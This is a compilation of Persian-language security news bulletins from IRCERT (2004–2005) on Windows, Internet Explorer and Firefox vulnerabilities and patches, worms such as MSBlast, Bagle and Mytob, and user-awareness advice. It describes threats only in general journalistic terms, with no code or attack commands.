مایکروسافت اصلاحیه هایی را ارائه کرده است که حداقل 20 مشکل امنیتی ویندوز را که بعضی از آنها به کرمها و ویروسهای جدید امکان نفوذ به سیستم عامل را می دهند, می پوشانند. حداقل 6 مشکل امنیتی از این لیست می تواند سیستم عامل را مستعد پذیرش برنامه هایی مانند کرم MSBlast و نمونه های آن نماید. یک مشکل امنیتی دیگر , فایلی را که IE , Outlook و Outlook Express به طور مشترک مورد استفاده قرار می دهند , تحت تاثیر قرار می دهد. این مشکل امنیتی راهی را برای نوعی ویروس باز می کند که اجرای آن منوط به کلیک کردن کاربر روی یک لینک است.

غول نرم افزاری دنیا , 4 اصلاحیه را برای پوشاندن این 20 مشکل ارائه کرده است. این شرکت به سطح خطر این مشکلات امنیتی اشاره نکرده است اما نصب اصلاحیه ها را باعث دور شدن از خطر دانسته است. استفان تولوز – مدیر برنامه امنیتی مرکز پاسخگویی امنیتی مایکروسافت- در این باره می گوید :" اگر شما از یک فایروال شخصی استفاده کنید احتمال نفوذ به کامپیوتر شما از طریق این نقاط ضعف امنیتی پایین می آید , اما به هر حال ما مسئله را جدی گرفته ایم."

بزرگترین اصلاحیه ارائه شده MS04-011 است که حداقل 14 حفره امنیتی را پوشش می دهد. یک حفره امنیتی در Help و Support Center هر دو ویندوز XP و 2003 وجود دارد. یک حفره امنیتی دیگر در قالب تصویری Windows Meta File می تواند به یک نفوذگر اجازه دهد تا یک فایل تصویری دیجیتالی ایجاد کند. هکر می تواند با استفاده از این فایل کنترل یک کامپیوتر با سیستم عامل ویندوز NT , XP یا 2000 را در اختیار بگیرد. حداقل 6 حفره از این 14 مشکل می توانست منجر به آن شود یک کامپیوتر در اختیار یک کابر دور قرار گیرد.

مایکروسافت سعی دارد تا به جای ارائه یک اصلاحیه برای هر مشکل امنیتی , با ارائه هر یک, تعدادی از حفره های شناخته شده را بپوشاند. البته این روش از نظر بعضی از کارشناسان امنیتی صحیح نیست, چون با این روش کامپیوتر کاربران برای مدت نسبتا طولانی در برابر هکرها قابل نفوذ است. البته بعضی دیگر این روش را مناسب می دانند چون معتقدند با مشخص شدن هر حفره , سایر محققین مشغول یافتن حفره های مشابه می شوند که در بسیاری از موارد نتیجه مثبت است و سپس مایکروسافت با یک اصلاحیه تعدادی از آنها را می پوشاند .

اطلاعات کامل تر درباره این اصلاحیه ها در سایت مایکروسافت قابل دسترسی است.


﻿ IRCERT - اخبار و هشدارها - IE هشداری برای کاربران

هشداری برای کاربران IE

1 جولای 2005 – 10 تیر 1384

مایکروسافت پس از آنکه یک موسسه امنیتی کد نفوذ مربوط به یک حفره IE را عرضه کرد، مجبور شد که یک راهنمایی امنیتی برای این مشکل ارائه دهد.

این حفره به هکرها اجازه می دهد، مرورگر را مجبور به خروج و اجرای کد دلخواه کنند. نسخی از IE که تحت تاثیر این مشکل قرار دارند عبارتند از IE 6.0 بر روی ویندوز 2000 با SP1، SP3 و SP4 و بر روی ویندوز XP با SP1 و SP2.

در راهنمایی امنیتی مایکروسافت آمده است که گزارشی از سوء استفاده از این حفره به دست مایکروسافت نرسیده است اما این شرکت در حال بررسی گزارشات عموم است.

اصلاحیه ای برای این حفره امنیتی ارائه نشده است.، اما مایکروسافت به کاربران توصیه کرده است که پیش از اجرای کنترلهای ActiveX تنظیمات امنیتی مرورگر خود را در دو بخش Internet و local intranet به بالاترین میزان یعنی high تغییر دهند.

کشف این مشکل امنیتی در IE دو هفته پس از آن صورت می گیرد که مایکروسافت چندین اصلاحیه مهم امنیتی ارائه کرد. یکی از اصلاحیه های ارائه شده مربوط به مشکلات IE بود.


﻿ IRCERT - مشکل امنیتی اصلاحیه ویندوز - اخبارها و هشدارها

مشکل امنیتی اصلاحیه ویندوز

۳۱ مارس ۲۰۰۵ – ۱۱ فروردین ۱۳۸۴

مایکروسافت اعلام کرده است که اصلاحیه ارائه شده در ماه ‌ژانویه برای ویندوزهای ۹۸ و ME باعث کاهش کارایی سیستم کاربرانی می شود که این اصلاحیه رادریافت و نصب کرده اند.

بنابر گزارش ارائه شده، فایل به روز رسانی KB891711 که برای رفع مشکل مربوط به کرسر و فرمت آیکون ارائه شده بود، نمی تواند به خوبی از کاربران ویندوزهای ۹۸، 98 SE و ME محافظت کند. این اصلاحیه به عنوان بخشی از بولتن امنیتی MS05-002 عرضه شده بود.

یکی از سخنگویان شرکت مایکروسافت طی یک بیانیه کوتاه اعلام کرد که برداشتن این اصلاحیه از روی سیستم مشکل را حل نخواهد کرد و مشتریان همچنان در خطر خواهند بود.

مایکروسافت هنوز گزارشی درباره حمله از طریق این حفره دریافت نکرده است.


﻿ IRCERT - یک حفره جدید در ویندوز - اخبارها و هشدارها

یک حفره جدید در ویندوز

11 فوریه 2004 – 22 بهمن 1382

"کاربران ویندوز توجه کنید! هرچه سریعتر Patch های امنیتی جدید را بر روی کامپیوترهای خود نصب کنید." این پیغامی بود که روز سه شنبه 10 فوریه (21 بهمن ماه) شرکت مایکروسافت خطاب به کابران خود ارسال کرد. بنا به گزارشات منتشر شده ،متخصصان شرکت مایکروسافت متوجه وجود یک حفره امنیتی شبکه ای در ویندوزهای NT ، 2000 ، XP و ویندوز سرور 2003 شده اند. این حفره امنیتی درصورت پوشانده نشدن به کرمهای اینترنتی مانند MSBLAST اجازه می دهد تا به سرعت بر روی شبکه منتشر شوند.

مطابق با برنامه جدید مایکروسافت ، دومین سه شنبه هر ماه باید مشکلات امنیتی نرم افزارها به اطلاع کاربران برسند و Patch های مرتبط با آنها نیز در اختیار کاربران قرار بگیرند مگر در شرایطی که عدم اطلاع رسانی سریع مشکل حادی بوجود آورد. بد نیست بدانید که اعلام اخطار در مورد این حفره ، دومین اخطار امنیتی مایکروسافت در ماه فوریه قلمداد می شود . هفته گذشته نیز این شرکت وجود یک حفره امنیتی در مرورگر IE را آشکار ساخت و Patch مربوطه را نیز منتشر کرد.

حفره جدید امنیتی ناشی از اشتباه در پیاده سازی یک پروتکل پایه شبکه با نام Abstract Syntax Notation One یا ASN.1 است. ASN.1 که توسط شرکت زیراکس ابداع و در سال 1984 استاندارد شده است ، روشی است که برای توصیف پروتکلها و داده های شبکه به کار می رود. این کد در بین بسیاری از برنامه های کاربردی ویندوز مشترک است و اگر حفره باز گذاشته شود، باعث می شود که هر یک از آن برنامه ها به عنوان یک نقطه ورودی به سیستم عامل برای هکرها باشند. این گونه مشکلات امنیتی عمومی باعث سوء استفاده هکرها و یا نویسندگان ویروسها و کرمهای اینترنتی می شود.

بنابه گزارش امنیتی منشر شده از سوی مایکروسافت، این حفره می تواند باعث شود که یک هکر کامپیوتر شما را از راه دور در اختیار بگیرد. مدیر خدمات امنیتی شرکت سایمانتک این حفره را به لحاظ گستردگی ، یک کاندیدای خوب برای نفوذ برای کرمها می داند. یکی از مدیران امنیتی مایکروسافت نیز با تایید این نظر معتقد است درصورت استفاده یک ویروس یا کرم اینترنتی از این حفره ، مشکلاتی مانند حملات MSBLAST بروز خواهد کرد.

شرکت امنیتی eEye Digital Security حدود شش ماه پیش مایکروسافت را از وجود این حفره آگاه کرده بود. آنها معتقدند : " 200 روز طول کشید تا مایکروسافت Patch مربوط به این حفره را منتشر کند و این واقعا خنده دار است." اما مایکروسافت می گوید از آنجا که ASN.1 یک فناوری است که در عمق ویندوز از آن استفاده شده ، لذا بررسی جوانب مختلف آن زمان می برد.


﻿ IRCERT - اجباری شد! - اخبارها و هشدارها Service Pack 2

Service Pack 2 اجباری شد!

12 آوریل 2005 - 23 فروردین 1384

مایکروسافت نرم افزار خود را که از دریافت خودکار XP SP2 بر روی کامپیوترهای تجاری جلوگیری می کرد، غیرفعال کرد. در نتیجه کاربرانی که نمی خواستند SP2 را دریافت و نصب کنند، حالا مجبور به انجام این کار می شوند.

در بیانیه مایکروسافت آمده است:“ در روز 12 آوریل ابزاری که از دریافت خودکار SP2 جلوگیری می کند، از کار می افتد و پس از آن SP2 یه صورت خودکار دریافت خواهد شد.“ این شرکت افزوده است که کاربران خانگی و شرکتهای کوچک تحت تاثیر این تغییر قرار نخواهند گرفت.

به نظر می رسد دلیل عمده نصب اجباری SP2، فعال شدن خودکار فایروال توسط این اصلاحیه است. برای بسیاری از کاربران فعال شدن فایروال بسیار بهتر است اما از طرف دیگر اگر فایروال برنامه ای را نشناسد، ‌از عملکرد مناسب آن جلوگیری می کند.

مایکروسافت به شرکتهایی که هنوز نمی خواهند SP2 را نصب کنند توصیه کرده است که از یک ابزار مدیریت اصلاحیه مانند System Updates Services استفاده کنند اما توضیح چندانی در این باره نداده است.


﻿ IRCERT - رشد مشکلات امنیتی مایکروسافت - اخبارها و هشدارها

رشد مشکلات امنیتی مایکروسافت

10 فوریه 2004 – 21 بهمن 1382

بنا به گزارش منتشر شده در سایت searchsecurity.com ، تحلیلهای انجام شده توسط موسسه گارتنر از تلاشهای امنیتی مایکروسافت و طرحهای نرم افزاریش نشان می دهد که با وجود سعی و تلاش مایکروسافت مبنی بر متهم کردن هکرها و نویسندکان کرمهای اینترنتی ، رکورد مشکلات امنیتی غول نرم افزار دنیا رشد چشمگیری داشته است.

گارتنر در گزارش خود اشاره کرده است که حملات کرمهای اینترنتی در سال 2003 نشان داد که ویندوز برای امن کردن خود هنوز راه درازی در پیش دارد. اما تا سال 2005 امنیتی محصولات مایکروسافت در سطح استاندارد صنعتی امنیتی و یا بالاتر از آن خواهد بود.

گارتنر پیش بینی کرده است که در نیمه دوم سال 2004 ، 40% کامپیوترهای شخصی در شرکتها از ویندوز 2000 استفاده خواهند کرد و لذا بهتر است مایکروسافت به فکر بروزرسانی امنیتی این سیستم عامل باشد.

همچنین این گزارش اشاره کرده است که تا سال 2005 هزینه های امنیتی سرورهای ویندوزی و یا مبتنی بر UNIX و Linux تقریبا برابر خواهد شد.


﻿ IRCERT - کارمندان، پایه اصلی امنیت یک شرکت - اخبارها و هشدارها

کارمندان، پایه اصلی امنیت یک شرکت

4 مارس 2005 - 14 اسفند 1383

کوین میتنیک - هکر سابق که شهرت بسیاری دارد - درباره استراتژیهای امنیتی که بر روی فناوری ها تمرکز می کنند، هشدار داده است. وی می گوید:“ آموزش کاربرانتان برای دادن پاسخ منفی، کمک زیادی به تامین امنیت شبکه شما می کند.“

میتنیک که شهرت خود را مدیون نفوذ به شبکه شرکتهای مهم و معتبر مانند موتورلا و نوکیا است، امروز در کنفرانسی که توشیبا در ملبورن استرالیا برگزار کرده بود، به سخنرانی پرداخت. وی در سال 1995 توسط FBI دستگیر شد و حدود 4 سال را پشت میله های زندان سپری کرد. اما حالا از توانایی ها و دانش خود به عنوان یک مشاور امنیتی بهره می گیرد.

بسیاری از شرکتها هزینه های سنگینی را صرف استفاده از فناوری های گوناگون جهت تامین امنیت شبکه خود می کنند، اما میتنیک اشاره کرد که حتی محکمترین سدهای فناوری نتوانسته اند وی را متوقف کنند. در واقع انجام عملیات برنامه ریزی شده مهندسی اجتماعی می تواند در حمله و نفوذ به ضعیف ترین بخش امنیتی اکثر شرکتها، ‌یعنی کارمندان آنها، بسیار مؤثر باشد.

میتنیک می گوید:“ آنچه شما گاه در میان زباله ها می یابید واقعا تعجب آور است. کاربران یادداشتها، طرح نامه ها، نتیجه چاپی سورس کد و مستندات پروژه ای که بر روی آن کار می کنند را دور می اندازند. در بعضی موارد آنها حتی کلمات عبور و اطلاعات دسترسی را یادداشت می کنند وبعدها در دورریز قرار می دهند. حتی تقویمی که شما لیست اسامی افرادی را که با آنها صحبت کرده و یا با آنها ملاقات کرده اید نیز می تواند مورد سوء استفاده قرار گیرد.“

این اطلاعات کمک شایانی به هکرها می کند تا راهشان را به درون یک شرکت باز کنند. آنها می توانند خود را به جای یک کارمند جا بزنند و با میز اطلاعات داخلی تماس بگیرند و یا وانمود کنند که یک شریک تجاری هستند. میتنیک معتقد است از آنجایی که مردم از گفتن کلمه “نه“ متنفرند، حتی زمانی که با یک غریبه مشکوک مواجه می شوند، با صحبتهای خود راه هکر را به گونه ای هموار می کنند که وی را به مراتب بیش از انجام حملات brute-force به شبکه هدف نزدیک می کند.

فهم راه کار چنین مشکلات امنیتی بسیار ساده است اما به سادگی قابل پیاده سازی نیست: باید برای موضوعاتی مانند برخورد با غریبه ها، مدیریت اطلاعات و دسترسی بازدیدکنندگان به مکانهای فیزیکی سیاستهای امنیتی خاصی را مدون کرد. به کارمندان خود آموزش دهید که در شرایط مشکوک از این سیاستها پیروی کنند و به تمایل طبیعی خود که همان درخواست هکر است، ‌پاسخ ندهند.


﻿ IRCERT - اخبار و هشدارها - Mytob , Bagle انتشار نسخ جدید ویروسهای

انتشار نسخ جدید ویروسهای Mytob , Bagle

31 مه 2005 - 10 خرداد 1384

یک شرکت امنیتی هشدار داد که نسخ جدیدی از ویروس Bagle و کرم اینترنتی Mytob در حال انتشار هستند، اما اگر کاربران نکات ایمنی معمول را رعایت کنند، مشکل حادی پیش نخواهد آمد.

بنابه گفته یک کارشناس ارشد ضدویروس در شرکت MessageLabs، امروز طی یک ساعت سه نسخه از ویروس Bagle روی شبکه منتشر شده اند. از ابتدای تولید این ویروس در ماه ژانویه سال 2004 تابه حال حدود 70 نسخه از آن گزارش شده است.

MessageLabs که نرم افزارهای خطرناک را از ایمیلهای کاربران فیلتر می کند، گزارش داده است که طی چند ساعت ابتدایی انتشار این نسخ جدید، حدود 100 هزار کپی را متوقف کرده است. به نظر می رسد منبع این نسخ یک گروه اینترنتی بر روی یاهو بوده است.

نسخ جدید Bagle کار زیادی برای فریب کاربر انجام نمی دهند. ایمیل آلوده به این ویروس، بدون موضوع و بدنه است و تنها یک فایل فشرده ZIP با خود دارد. اگر کاربر این فایل را باز و اجرا کند، این ویروس سعی خواهد کرد تا یک اسب تروا را از لیستی از سایتها دریافت کند. اسب تروای مزبور پس از فعال شدن، نشانی های ایمیل کاربر را از روی هارد وی برداشت می کند و از این طریق خود را منتشر می کند. این اسب تروا یک در پشتی یا backdoor نیز روی سیستم قربانی نصب می کند.

Mytob نیز همانند Bagle نسخ جدیدی را منتشر کشده است. Mytob یک کرم خطرناک است که یک درپشتی روی سیستم نصب می کند و با استفاده از موتور ایمیل خود، اقدام به انتشار به نشانی هایی که روی سیستم قربانیان می یابد، می کند.

بنابه گفته یکی از متخصصان شرکت McAfee، دو نسخه جدید از این کرم طی چند روز اخیر وارد شبکه ها شده است.

خوشبختانه نسخ جدید این دو، همانند نسخ قدیمی عمل می کنند و کاربران باید همانند همیشه ضدویروسهای خود را به روز نگهدارند و در زمان باز کردن فایلهای الحاقی دقت کنند.


﻿ IRCERT - اخبار و هشدارها - IE باز هم مشکلات امنیتی در

باز هم مشکلات امنیتی در IE

17 نوامبر 2004 – 27 آبان 1383

مرورگر IE به یک هدف برای متخصصان تبدیل شده و همه به دنبال یافتن مشکلات و حفره های امنیتی جدیدی در این محصول مایکروسافت هستند.

امروز Secunia اعلام کرد که در این هفته 3 شکاف امنیتی جدید در نسخه 6 مرورگر مایکروسافت پیدا شده است. با مشخص شدن این مشکلات، مجموع تعداد حفره های امنیتی IE که در دو ماه گذشته پیدا شده به 19 عدد رسیده است که 8 حفره توسط اصلاحیه ماه اکتبر این شرکت پوشانده شده است.

بنابه گفته Secunia حفره های جدید توسط دو متخصص مختلف کشف شده اند. با به کارگیری دو حفره از یافته های جدید می توان مکانیزمی را که در SP2 تعبیه شده تا درباره برنامه های بالقوه خطرناک هشدار بدهد، از کار بیاندازد و امکان ورود برنامه های خطرناک را پدید آورد. سومین حفره می تواند برای بازنویسی کوکی های یک سایت مورد اعتماد به کار گرفته شود، البته شرط آن است که سایت مزبور به شیوه امن و مطمئنی تایید هویت را انجام ندهد. Secunia حفره های مزبور را به ترتیب با درجه خطر moderately critical و not critical مشخص کرده است.

مایکروسافت طی بیانیه ای اعلام کرده است که گزارشی درباره استفاده از این حفره ها جهت حمله از کاربران و مشتریان دریافت نکرده است اما درحال انجام بررسی های لازم است. این شرکت به مشتریان توصیه کرده است تا به سایت امنیت نرم افزار و حفاظت از PC این شرکت مراجعه کنند. همچنین با انتقاد از متخصصان امنیتی از آنها خواسته است تا برای حفظ امنیت کاربران، پیش از اعلان عمومی ، به تولیدکنندگان فرصت کافی را جهت ترمیم مشکلات و حفظ امنیت مشتریان بدهند.

طی دو ماه اخیر مشکلات متعددی در IE و SP2 توسط متخصصان کشف و معرفی شده است.


﻿ IRCERT - اکثر کاربران از آلودگی سیستمشان بی خبرند - اخبارها و هشدارها

اکثر کاربران از آلودگی سیستمشان بی خبرند

25 اکتبر 2004 - 4 آبان 1383

نتیجه یک مطالعه بر روی کامپیوترهای خانگی که امروز منتشر شد، نشان می دهد که صاحبان حدود 80 درصد از کامپیوترهای آلوده به نرم افزارهای جاسوسی از آلودگی سیستم خود کاملا بی خبرند.

این بررسی نسان می دهد که اکثر کاربران خانگی در برابر تهدیدات آنلاین بی دفاع هستند و نسبت به خطرات بی توجهند. AOL و NCSA برای انجام این مطالعه متخصصان خود را به 329 خانه فرستاده اند تا کامپیوترها را بررسی کنند.

یکی از کارشناسان ارشد AOL در این باره می گوید:“ هیچ فردی همراه با حجم بالایی از پول نقد به قدم زدن در خیابان نمی پردازد و یا کیف پول خود را در یک محل عمومی جا نمی گذارد، اما بسیاری از همین افراد این کار را در محیط سایبر و به صورت آنلاین انجام می دهند. در واقع کاربران با استفاده نکردن از نرم افزارهایی مانند ضدویروسها، فایروالها و نرم افزارهای ضدجاسوسی اطلاعات شخصی و مالی خود را در خطر قرار می دهند.“

بر اساس این مطالعه تقریبا سه پنجم کاربران تفاوت بین فایروال و ضدویروس را نمی دانند. یک فایروال شخصی مشخص می کند که کدام برنامه های کاربردی روی یک کامپیوتر اجازه دارند تا به شبکه متصل شوند در حالی که ضدویروسها کدهای خطرناکی را که قصد دارند روی سیستم اجرا شوند، تشخیص می دهند. دو سوم کاربران فایروالی روی سیستم خود ندارند و در حالی که 85 درصد کاربران نرم افزار ضدویروس را روی سیستم خود نصب کرده اند، دو سوم آنها طی هفته گذشته آن را به روزرسانی نکرده اند. این مطالعه نشان داده است که یک پنجم کاربران یک ویروس فعال روی سیستم خود دارند.

همچنین مشخص شده است که حدود 80 درصد کامپیوترها دارای نرم افزارهای جاسوسی هستند و 90 درصد از کاربران آنها از حضور این نرم افزارها بر روی سیستم خود بی خبرند. Spyware یا نرم افزار جاسوسی به هکرها اجازه می دهد تا اطلاعات مهم شخصی یا مالی را از سیستم قربانی سرقت کنند و کنترل کامل سیستم را در دست بگیرند.


﻿ IRCERT - اخبار و هشدارها - Firefoxرفع مشکل امنیتی مهم

رفع مشکل امنیتی مهم Firefox

۲۳ مارس ۲۰۰۵ – ۳ فروردین ۱۳۸۴

بنیاد موزیلا اصلاحیه ای را برای رفع مشکل مهم امنیتی مرورگر Firefox منتشر کرد و از کاربران خواست تا هرچه سریعتر نرم افزار خود را به روز کنند.

به گفته کریس هافمن - مدیر بخش مهندسی موزیلا - این مشکل به دلیل وجود خطای سرریز بافر در کد قدیمی Netscape به وجود آمده است. این کد برای پویانمایی تصاویر GIF استفاده می شود. یک هکر می تواند با سوء استفاده از این حفره و ایجاد تصاویر مخرب، هنگامی که قربانی تصاویر را مشاهده می کند، برنامه را اجرا کند و کنترل سیستم را به دست بگیرد. به گفته هافمن پیش از اطلاع عموم از وجود این مشکل، اصلاحیه آماده و ارائه شده است.

بنیاد موزیلا نسخه ۱.۰۲ مرورگر Firefox را برای ترمیم این حفره عرضه کرده است و از کاربران خواسته تا این نسخه جدید را دریافت و نصب کنند.

بنابر گزارشی که در این هفته Symantec درباره میزان امنیت دومرورگر IE و Firefox منتشر کرده است، طی شش ماهه دوم سال گذشته ۲۱ حفره در Firefox و ۱۳ حفره در IE کشف شده است. اما از میان این مشکلات کشف شده، ۶ حفره در Firefox و ۹ حفره در IE دارای درجه خطر بالا بوده و اصطلاحا highly severe هستند.

هافمن معتقد است که این گزارش یک نکته مثبت برای موزیلا و برنامه نویسانش به شمار می آید. به عقیده وی کاربران باید نسبت به جدی بودن مشکلات امنیتی IE نگرانی بیشتری داشته باشند. مایکروسافت نیز طی بیانیه ای اعلام کرده است که IE کارایی خود را عملا اثبات کرده و ضمنا IE 7 یک به روز رسانی مهم خواهد بود که بر روی امنیت متمرکز است.


﻿ IRCERT - حفره های موزیلا، راهی برای هکرها - اخبارها و هشدارها

حفره های موزیلا، راهی برای هکرها

18 آوریل 2005 - 29 فروردین 1384

حفره ها و مشکلات متعددی در مرورگر Firefox و نرم افزار Mozilla Suite کشف شده اند که به یک هکر اجازه می دهند تا کدهای خطرناکی را نصب کند و یا اطلاعات کاربر را به سرقت ببرد. جزئیات این 9 مشکل امنیتی روی سایت موزیلا منتشر شده اند.

به گفته متخصصین بیشتر مشکلات ناشی از روشی است که این برنامه ها برای کار با JavaScript برگزیده اند. برای مثال به اسکریپتهای خطرناک اجازه داده می شود تا به بخشهای تصادفی از حافظه دسترسی پیدا کنند. البته ممکن است این بخش تصادفی حاوی اطلاعاتی با ارزشی نباشد اما از طرف دیگر ممکن است بعضی اطلاعات شخصی یا کلمات عبور فرد در این بخش قرار گرفته باشد.

امروز شرکت امنیتی Secunia طی یک راهنمایی امنیتی حفره های یافت شده در نسخ Mozilla Firefox 0.x و 1.x را با درجه highly critical ارزیابی کرده است.

تیم پاسخگویی امنیتی فرانسه طی یک راهنمایی امنیتی اشاره کرده است که هکرها می توانند با استفاده از یک حفره در بخش مسدود کننده تبلیغات pop-up در مرورگر موزیلا، کدی خطرناک را روی سیستم کاربر اجرا کنند.

یکی دیگر از حفره های مرورگر Firefox زمانی مورد سوء استفاده قرار می گیرد که یک کاربر صفحه وبی را بازدید می کند که نیاز به یک plug-in نصب نشده دارد.

تمامی نسخ Mozilla قبل از نسخه 1.7.7 و تمامی نسخ Firefox پیش از نسخه 1.0.3 در برابر این حملات صدمه پذیرند. کارشناسان توصیه کرده اند که کاربران JavaScript را غیرفعال کنند و یا یک نسخه اصلاح شده از سایت موزیلا دریافت نمایند.


﻿ IRCERT - سریع ترین کرم اینترنتی - اخبارها و هشدارها MyDoom

Mozilla جایزه می دهد

2 آگوست 2004 – 12 مرداد 1383

با پیدا شدن چند حفره امنیتی جدی در مرورگر Mozilla ،‌ بنیاد موزیلا امروز اعلام کرد به متخصصان و محققان امنیتی که بتوانند مشکلات جدی این مرورگر را بیابند ،‌به ازای هر مشکل پیدا شده 500 دلار جایزه می دهد.

این کار در حالی انجام می شود که هفته گذشته این بنیاد - که مدیریت تولید مرورگرهای Mozilla و Firefox و برنامه ایمیل Thunderbird را به بعهده دارد – وجود دو مشکل امنیتی مهم در مرورگرهای خود را هنگام کار با گواهی های دیجیتالی تایید کرده بود.

میچل بیکر - رئیس بنیاد موزیلا – طی گفتگویی اعلام کرد:‌“ وقایع اخیر نشان می دهد که چنین رفتاری لازم است. این روش به ما کمک می کند تا مشکلات امنیتی را زودتر پیدا کنیم و بتوانیم آنها را پیش از سوء استفاده هکرها بپوشانیم. “

کریس هافمن - مدیر بخش مهندسی بنیاد موزیلا – در این باره می گوید :“ ما در حال ورود به سال دوم هستیم لذا با مرور برنامه های سال گذشته ، اولویتهای کاری سال آینده را تعیین می کنیم. امنیت موضوعی است که ما اهمیت زیادی به آن می دهیم. “ وی همچنین اضافه کرد که بنیاد به دنبال شرکایی است که وی را در این امر یاری دهند. تا به حال شرکت Linspire - از تولید کنندگان نرم افزار لینوکس – و مارک شاتل ورث - مؤسس اینترنت – از این برنامه پشتیبانی کرده اند و هریک 5 هزار دلار کمک کرده اند.

بعضی منتقدین معتقدند که مشکلات امنیتی Mozilla کمتر از مرورگر مایکروسافت نیست و تنها تفاوت آنها آن است که IE رواج بسیار بیشتری دارد ، لذا هکرها همیشه درصدد هستند تا راه نفوذی به آن بیابند. هافمن در پاسخ این منتقدین می گوید:“ با وجود مشکلات کشف شده ، امنیت Mozilla خوب است.“ وی با رد نظر منتقدین اشاره می کند که حتی با فراگیر شدن این مرورگر ، میزان مشکلات امنیتی آن کمتر از IE خواهد بود.

معمولا جوایز ارائه شده جهت یافتن مشکلات امنیتی ، از سوی شرکتهای امنیتی اختصاص می یابند تا حفره های موجود در محصولات سایر شرکتها را بیابند و از این طریق بتوانند نقاط ضعف محصولات رقبای خود را بشناسند.

البته هافمن نیز قبول دارد که 500 دلار رقم قابل توجه و ترغیب کننده ای نیست اما تاکید می کند که قصد ندارند این مبلغ را افزایش دهند. وی این کار را روشی برای تشکر از همکاری کاربران و متخصصان می داند.

مایکروسافت تا به حال برای یابندگان مشکلات امنیتی جایزه ای تعیین نکرده اما سه جایزه 250 هزار دلاری را برای ویروس نویسان اختصاص داده است.

اطلاعات بیشتر درباره این جایزه را می توانید در بخش امنیتی سایت موزیلا ببینید.


﻿ IRCERT - اخبار و هشدارها - Firefox به روز رسانی امنیتی

به روز رسانی امنیتی Firefox

12 مه 2005 - 22 اردیبهشت 1384

پس از انتشار کد نفوذ برای دو حفره امنیتی بسیار مهم در مرورگر Firefox، بنیاد موزیلا اقدام به انتشار اصلاحیه ای برای این حفره ها کرده است.

Firefox 1.0.4 که دیروز منتشر شد، حفره هایی را که اوایل این هفته معرفی شده بودند را پوشش می دهد. به گفته سایت موزیلا این به روز رسانی چند مشکل امنیتی دیگر را نیز مد نظر قرار داده است و مشکلات DHTML در زمان مرور برخی سایتها را نیز برطرف کرده است.

این به روز رسانی دو حفره ای را هدف قرار داده که درصورت استفاده ترکیبی از آنها، هکر می تواند از طریق cross-site scripting و دسترسی از راه دور به سیستم، مشکلاتی را ایجاد نماید.

شرکت امنیتی Secunia به این حفره ها درجه extremely critical داده است.

در حال حاضر به روز رسانی به 12 زبان ارائه شده و موزیلا سعی دارد طی چند روز آینده به 24 زبان دیگر نیز عرضه کند.


﻿ IRCERT - علیه مشکلات امنیتی - اخبارها و هشدارها Mozilla

Mozilla علیه مشکلات امنیتی

27 جولای 2004 – 6 مرداد 1383

کاربرانی که قصد داشته اند مرورگرهای Mozilla را به عنوان نرم افزاری امن تر به جای IE به کار بگیرند بهتر است کمی صبر کنند.

بنیاد Mozilla اعلام کرده است که دو مشکل جدی در شیوه اداره گواهی ها ( Certificate ) توسط این مرورگر وجود دارد. منظور از گواهی ها اسناد دیجیتالی هستند که برای تایید هویت یک وب سایت به کار می روند. Mozilla همچنین گفته است که این مشکلات از جد این مرورگر یعنی Netscape به وی به ارث رسیده است.

این کشف یک بدشانسی بزرگ برای Mozilla به حساب می آید چون به تازگی بعضی متخصصان امنیتی به کاربران توصیه کرده بودند تا از این مرورگر یا Opera به جای IE استفاده کنند تا با مشکلات امنیتی کمتری روبرو شوند.

Mozilla و سایر رقبای IE مدعی هستند که از مدل امنیتی بهتری نسبت به IE استفاده می کنند،‌البته آنها این نکته را نیز قبول دارند که IE به دلیل در اختیار داشتن بیشترین سهم از بازار ، هدف حمله هکرهاست.

یکی از دو مشکل امنیتی کشف شده می تواند توسط یک هکر به کار گرفته شود تا مثلا کد خطرناک را در سایت یک بانک قرار دهد و کاربران آن بانک را فریب دهد و کارت اعتباری آنها را به سرقت ببرد. دومین مشکل می تواند جهت انجام حمله DoS مورد استفاده قرار گیرد.

Mozilla در حال بررسی میزان خطر این مشکلات است تا برای ارائه اصلاحیه جداگانه و یا ترمیم نرم افزارها در نسخ بعدی تصمیم گیری کند. گفته می شود طی هفته آینده اصلاحیه یا نسخه جدید نرم افزارها ارائه خواهد شد.


﻿ IRCERT - حداقل هشت میلیون رایانه را آلوده کرده است - اخبارها و هشدارها MSBlast

MSBlast ، حداقل 8 میلیون رایانه را آلوده کرده است

2 آوریل - 14 فروردین

بنابر گزارشات رسیده از شرکت مایکروسافت , از آگوست گذشته تا بحال حداقل 8 میلیون کامپیوتر دارای سیستم عامل ویندوز به کرم مشهور MSBlast یا Blaster آلوده شده اند که این رقم بسیار بیش از تصورات قبلی است.

این اطلاعات جدید به کمک ابزار تازه ای که مهندسان این شرکت برای پاک کردن سیستم های آلوده ایجاد کرده اند, بدست آمده است. از ماه ژانویه که این ابزار ارائه گردیده استب یش از 16 میلیون سیستم آلوده به سرویس به روزرسانی مایکروسافت متصل شده اند که استفاده از Patch و ابزار پاکسازی به آنها توصیه شده است. در طی همان زمان حدود 8 میلیون سیستم به پیشنهاد عمل کردند و با نصب Patch از آلودگی مجدد جلوگیری کردند. بنابراین مایکروسافت معتقد است که با وجود این که تعداد سیستم های آلوده به این ویروس حدود 16 میلیون است اما رقم 8 میلیون کمترین و مطمئن ترین حداقل است. چون ممکن است بعضی سیستم ها بیش از یک بار شمرده شده باشند , چون ممکن است بعضی کاربران به علت مشغله زیاد به پیشنهاد توجه نکرده باشند و یا پردازه پاکسازی را نیمه کاره رها کرده باشند. اما زمانی که یک بار Patch بر روی یک سیستم نصب می شود , آن سیستم دیگر آلوده نمی شود و لذا مورد شمارش مجدد قرار نمی گیرد.

در حال حاضر محققان سعی دارند تا با استفاده از رکوردهای ثبت شده در تجهیزات شبکه مانند فایروالها و سیستم های تشخیص نفوذ وسعت آلودگی این کرم اینترنتی را مشخص کنند. با جمع آوری این اطلاعات , محققان می توانند تعداد آدرسهای اینترنتی را که از آنها کرم منتشر می شده , بشمارند. بیشتر شرکتهای امنیتی معتقد بودند که حداکثر 500 هزار سیستم به این کرم آلوده شده بودند اما داده های جدید ارقامی بسیار بیش از آن را نشان می دهد.


﻿ IRCERT - اخبار و هشدارها- MSBlast اعتراف نویسنده

نویسنده MSBlast اعتراف کرد

11 آگوست 2004 – 21 مرداد 1383

